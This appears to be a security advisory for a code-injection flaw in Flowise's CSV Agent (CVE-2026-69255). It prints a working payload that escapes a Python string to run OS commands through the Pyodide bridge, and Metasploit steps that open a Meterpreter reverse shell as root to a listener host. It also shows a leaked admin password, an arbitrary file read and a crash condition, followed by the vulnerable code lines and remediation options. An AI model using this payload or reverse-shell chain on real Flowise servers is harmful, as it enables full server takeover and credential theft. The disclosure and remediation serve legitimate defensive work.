Flowise CVE-2026-69255

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical - a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

1. Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
2. Pyodide js bridge provides access to the host Node.js process
3. process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");
#

Constraint: No commas allowed in payload - csvFile.split(',') splits on all commas.

Metasploit Session Proof

msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit

[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : cbce3fb352b7
OS           : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter  : x64/linux

meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux

Additional Verified Impact

Credential Theft:

FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...

Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7

Server DoS - certain native binding calls (spawn_sync) crash the Node.js process entirely.

CVSS v3.1: 9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

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Original Report (below)

Vulnerable Code

File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

Lines 133-138 - Unsanitized string extraction from data URI via file.split(',').pop().pop() - no validation on content.

Lines 155-171 - Direct interpolation into executable Python code: base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.

validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.

Remediation

Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation

Option 2: Validate base64 before interpolation - reject if not matching /^[A-Za-z0-9+/=]*$/

Option 3: Escape special characters (", \n, \r, \\) before interpolation

Related CVEs

• CVE-2026-41264 (CSV Agent regex bypass)
• CVE-2026-41265 (Airtable Agent sandbox bypass)
• CVE-2026-46442 (NodeVM sandbox escape)

Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.